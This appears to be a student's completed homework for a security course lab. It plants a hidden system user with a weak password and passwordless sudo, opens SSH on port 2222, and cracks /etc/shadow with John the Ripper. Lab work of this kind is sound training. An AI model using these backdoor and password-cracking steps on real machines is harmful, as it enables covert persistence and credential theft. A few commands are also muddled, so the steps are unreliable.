Week 6 Homework **Submission File**: Advanced Bash - Owning the System

Please edit this file by adding the solution commands on the line below the prompt.

Save and submit the completed file for your homework submission.

Step 1: Shadow People

1. Create a secret user named sysd. Make sure this user doesn't have a home folder created:

· useradd --no-create-home sysd

1. Give your secret user a password:

· passwd sysd (h3ll0)

1. Give your secret user a system UID < 1000:

· usermod -u 96 sysd

1. Give your secret user the same GID:

· groupmod -g 96 sysd

1. Give your secret user full sudo access without the need for a password:

· sudo visudo

· sysd ALL=(ALL) NOPASSWD:ALL

1. Test that sudo access works without your password:

· usermod -aG sudo sysd

· sudo sysd

· sudo -l

Step 2: Smooth Sailing

1. Edit the sshd\_config file:

* + exit (back to root)
  + nano /etc/ssh/sshd\_config

2. Your bash commands here

* + add Port 2222 after #Port 22

Step 3: Testing Your Configuration Update

1. Restart the SSH service:

· sudo systemctl restart sshd

1. Exit the root account:

· exit (multiple times)

1. SSH to the target machine using your sysd account and port 2222:

· ssh sysd@192.168.6.105 -p 2222

1. Use sudo to switch to the root user:

· sudo su

Step 4: Crack All the Passwords

1. SSH back to the system using your sysd account and port 2222:

· ssh sysd@192.168.6.105 -p 2222

1. Escalate your privileges to the root user. Use John to crack the entire /etc/shadow file:

· sudo su

· john /etc/shadow